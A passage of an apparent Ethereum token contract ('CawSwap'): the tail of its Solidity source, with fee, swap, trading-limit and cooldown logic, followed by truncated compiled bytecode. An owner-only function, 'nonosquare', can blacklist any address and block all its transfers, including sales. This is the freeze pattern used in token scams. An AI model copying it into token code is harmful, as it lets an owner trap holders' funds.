owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 7; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000 * 10**9; _maxWalletSize = 200000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612715565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127df565b6104b4565b60405161018e919061283a565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612864565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129c7565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a10565b61060c565b60405161021f919061283a565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a63565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190612aac565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612af3565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b20565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a63565b6109db565b6040516103199190612864565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612b5c565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612715565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127df565b610c9a565b6040516103da919061283a565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b20565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b77565b61132a565b60405161046e9190612864565b60405180910390f35b60606040518060400160405280600781526020017f4361775377617000000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113b1565b84846113b9565b6001905092915050565b6000678ac7230489e80000905090565b6104ea6113b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612c03565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b612c23565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060090612c81565b91505061057a565b5050565b6000610619848484611582565b6106da846106256113b1565b6106d5856040518060600160405280602881526020016136b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b6113b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c139092919063ffffffff16565b6113b9565b600190509392505050565b6106ed6113b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612c03565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e66113b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612c03565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108986113b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612c03565b60405180910390fd5b6000811161093257600080fd5b610960606461095283678ac7230489e80000611c7790919063ffffffff16565b611cf190919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa6113b1565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611d3b565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da7565b9050919050565b610a346113b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612c03565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b876113b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612c03565b60405180910390fd5b678ac7230489e80000600f81905550678ac7230489e80000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4341575357415000000000000000000000000000000000000000000000000000815250905090565b6000610cae610ca76113b1565b8484611582565b6001905092915050565b610cc06113b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612c03565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a83678ac7230489e80000611c7790919063ffffffff16565b611cf190919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd26113b1565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611e15565b50565b610e136113b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612c03565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612d15565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e800006113b9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fee9190612d4a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611055573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110799190612d4a565b6040518363ffffffff1660e01b8152600401611096929190612d77565b6020604051808303816000875af11580156110b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d99190612d4a565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611162306109db565b60008061116d610c34565b426040518863ffffffff1660e01b815260040161118f96959493929190612de5565b60606040518083038185885af11580156111ad573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d29190612e5b565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555067016345785d8a0000600f819055506702c68af0bb1400006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e3929190612eae565b6020604051808303816000875af1158015611302573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113269190612eec565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611428576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141f90612f8b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611497576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148e9061301d565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115759190612864565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e8906130af565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611660576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165790613141565b60405180910390fd5b600081116116a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169a906131d3565b60405180910390fd5b6000600a819055506007600b819055506116bb610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172957506116f9610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0357600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117db57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118865750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118f45750600e60179054906101000a900460ff165b15611a3257600f5481111561193e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119359061323f565b60405180910390fd5b6010548161194b846109db565b611955919061325f565b1115611996576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198d90613301565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119e157600080fd5b601e426119ee919061325f565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611add5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b335750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b49576000600a819055506007600b819055505b6000611b54306109db565b9050600e60159054906101000a900460ff16158015611bc15750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd95750600e60169054906101000a900460ff165b15611c0157611be781611e15565b60004790506000811115611bff57611bfe47611d3b565b5b505b505b611c0e83838361208e565b505050565b6000838311158290611c5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c529190612715565b60405180910390fd5b5060008385611c6a9190613321565b9050809150509392505050565b6000808303611c895760009050611ceb565b60008284611c979190613355565b9050828482611ca691906133de565b14611ce6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdd90613481565b60405180910390fd5b809150505b92915050565b6000611d3383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209e565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da3573d6000803e3d6000fd5b5050565b6000600854821115611dee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de590613513565b60405180910390fd5b6000611df8612101565b9050611e0d8184611cf190919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e4d57611e4c612884565b5b604051908082528060200260200182016040528015611e7b5781602001602082028036833780820191505090505b5090503081600081518110611e9357611e92612c23565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f5e9190612d4a565b81600181518110611f7257611f71612c23565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fd930600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113b9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161203d9594939291906135f1565b600060405180830381600087803b15801561205757600080fd5b505af115801561206b573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209983838361212c565b505050565b600080831182906120e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dc9190612715565b60405180910390fd5b50600083856120f491906133de565b9050809150509392505050565b600080600061210e6122f7565b915091506121258183611cf190919063ffffffff16565b9250505090565b60008060008060008061213e87612356565b95509550955095509550955061219c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123be90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227d81612466565b6122878483612523565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122e49190612864565b60405180910390a3505050505050505050565b600080600060085490506000678ac7230489e80000905061232b678ac7230489e80000600854611cf190919063ffffffff16565b82101561234957600854678ac7230489e80000935093505050612352565b81819350935050505b9091565b60008060008060008060008060006123738a600a54600b5461255d565b9250925092506000612383612101565b905060008060006123968e8787876125f3565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c13565b905092915050565b6000808284612417919061325f565b90508381101561245c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245390613697565b60405180910390fd5b8091505092915050565b6000612470612101565b905060006124878284611c7790919063ffffffff16565b90506124db81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612538826008546123be90919063ffffffff16565b6008819055506125538160095461240890919063ffffffff16565b6009819055505050565b600080600080612589606461257b888a611c7790919063ffffffff16565b611cf190919063ffffffff16565b905060006125b360646125a5888b611c7790919063ffffffff16565b611cf190919063ffffffff16565b905060006125dc826125ce858c6123be90919063ffffffff16565b6123be90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061260c8589611c7790919063ffffffff16565b905060006126238689611c7790919063ffffffff16565b9050600061263a8789611c7790919063ffffffff16565b905060006126638261265585876123be90919063ffffffff16565b6123be90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126b657808201518184015260208101905061269b565b838111156126c5576000848401525b50505050565b6000601f19601f8301169050919050565b60006126e78261267c565b6126f18185612687565b9350612701818560208601612698565b61270a816126cb565b840191505092915050565b6000602082019050818103600083015261272f81846126dc565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127768261274b565b9050919050565b6127868161276b565b811461279157600080fd5b50565b6000813590506127a38161277d565b92915050565b6000819050919050565b6127bc816127a9565b81146127c757600080fd5b50565b6000813590506127d9816127b3565b92915050565b600080604083850312156127f6576127f5612741565b5b600061280485828601612794565b9250506020612815858286016127ca565b9150509250929050565b60008115159050919050565b6128348161281f565b82525050565b600060208201905061284f600083018461282b565b92915050565b61285e816127a9565b82525050565b60006020820190506128796000830184612855565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128bc826126cb565b810181811067ffffffffffffffff821117156128db576128da612884565b5b80604052505050565b60006128ee612737565b90506128fa82826128b3565b919050565b600067ffffffffffffffff82111561291a57612919612884565b5b602082029050602081019050919050565b600080fd5b600061294361293e846128ff565b6128e4565b905080838252602082019050602084028301858111156129665761296561292b565b5b835b8181101561298f578061297b8882612794565b845260208401935050602081019050612968565b5050509392505050565b600082601f8301126129ae576129ad61287f565b5b81356129be848260208601612930565b91505092915050565b6000602082840312156129dd576129dc612741565b5b600082013567ffffffffffffffff8111156129fb576129fa612746565b5b612a0784828501612999565b91505092915050565b600080600060608486031215612a2957612a28612741565b5b6000612a3786828701612794565b9350506020612a4886828701612794565b9250506040612a59868287016127ca565b9150509250925092565b600060208284031215612a7957612a78612741565b5b6000612a8784828501612794565b91505092915050565b600060ff82169050919050565b612aa681612a90565b82525050565b6000602082019050612ac16000830184612a9d565b92915050565b612ad08161281f565b8114612adb57600080fd5b50565b600081359050612aed81612ac7565b92915050565b600060208284031215612b0957612b08612741565b5b6000612b1784828501612ade565b91505092915050565b600060208284031215612b3657612b35612741565b5b6000612b44848285016127ca565b91505092915050565b612b568161276b565b82525050565b6000602082019050612b716000830184612b4d565b92915050565b60008060408385031215612b8e57612b8d612741565b5b6000612b9c85828601612794565b9250506020612bad85828601612794565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bed602083612687565b9150612bf882612bb7565b602082019050919050565b60006020820190508181036000830152612c1c81612be0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c8c826127a9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cbe57612cbd612c52565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612cff601783612687565b9150612d0a82612cc9565b602082019050919050565b60006020820190508181036000830152612d2e81612cf2565b9050919050565b600081519050612d448161277d565b92915050565b600060208284031215612d6057612d5f612741565b5b6000612d6e84828501612d35565b91505092915050565b6000604082019050612d8c6000830185612b4d565b612d996020830184612b4d565b9392505050565b6000819050919050565b6000819050919050565b6000612dcf612dca612dc584612da0565b612daa565b6127a9565b9050919050565b612ddf81612db4565b82525050565b600060c082019050612dfa6000830189612b4d565b612e076020830188612855565b612e146040830187612dd6565b612e216060830186612dd6565b612e2e6080830185612b4d565b612e3b60a0830184612855565b979650505050505050565b600081519050612e55816127b3565b92915050565b600080600060608486031215612e7457612e73612741565b5b6000612e8286828701612e46565b9350506020612e9386828701612e46565b9250506040612ea486828701612e46565b9150509250925092565b6000604082019050612ec36000830185612b4d565b612ed06020830184612855565b9392505050565b600081519050612ee681612ac7565b92915050565b600060208284031215612f0257612f01612741565b5b6000612f1084828501612ed7565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f75602483612687565b9150612f8082612f19565b604082019050919050565b60006020820190508181036000830152612fa481612f68565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613007602283612687565b915061301282612fab565b604082019050919050565b6000602082019050818103600083015261303681612ffa565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613099602583612687565b91506130a48261303d565b604082019050919050565b600060208201905081810360008301526130c88161308c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061312b602383612687565b9150613136826130cf565b604082019050919050565b6000602082019050818103600083015261315a8161311e565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131bd602983612687565b91506131c882613161565b604082019050919050565b600060208201905081810360008301526131ec816131b0565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613229601983612687565b9150613234826131f3565b602082019050919050565b600060208201905081810360008301526132588161321c565b9050919050565b600061326a826127a9565b9150613275836127a9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132aa576132a9612c52565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132eb601a83612687565b91506132f6826132b5565b602082019050919050565b6000602082019050818103600083015261331a816132de565b9050919050565b600061332c826127a9565b9150613337836127a9565b92508282101561334a57613349612c52565b5b828203905092915050565b6000613360826127a9565b915061336b836127a9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133a4576133a3612c52565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133e9826127a9565b91506133f4836127a9565b925082613404576134036133af565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061346b602183612687565b91506134768261340f565b604082019050919050565b6000602082019050818103600083015261349a8161345e565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006134fd602a83612687565b9150613508826134a1565b604082019050919050565b6000602082019050818103600083015261352c816134f0565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135688161276b565b82525050565b600061357a838361355f565b60208301905092915050565b6000602082019050919050565b600061359e82613533565b6135a8818561353e565b93506135b38361354f565b8060005b838110156135e45781516135cb888261356e565b97506135d683613586565b9250506001810190506135b7565b5085935050505092915050565b600060a0820190506136066000830188612855565b6136136020830187612dd6565b81810360408301526136258186613593565b90506136346060830185612b4d565b6136416080830184612855565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613681601b83612687565b915061368c8261364b565b602082019050919050565b600060208201905081810360008301526136b081613674565b905091905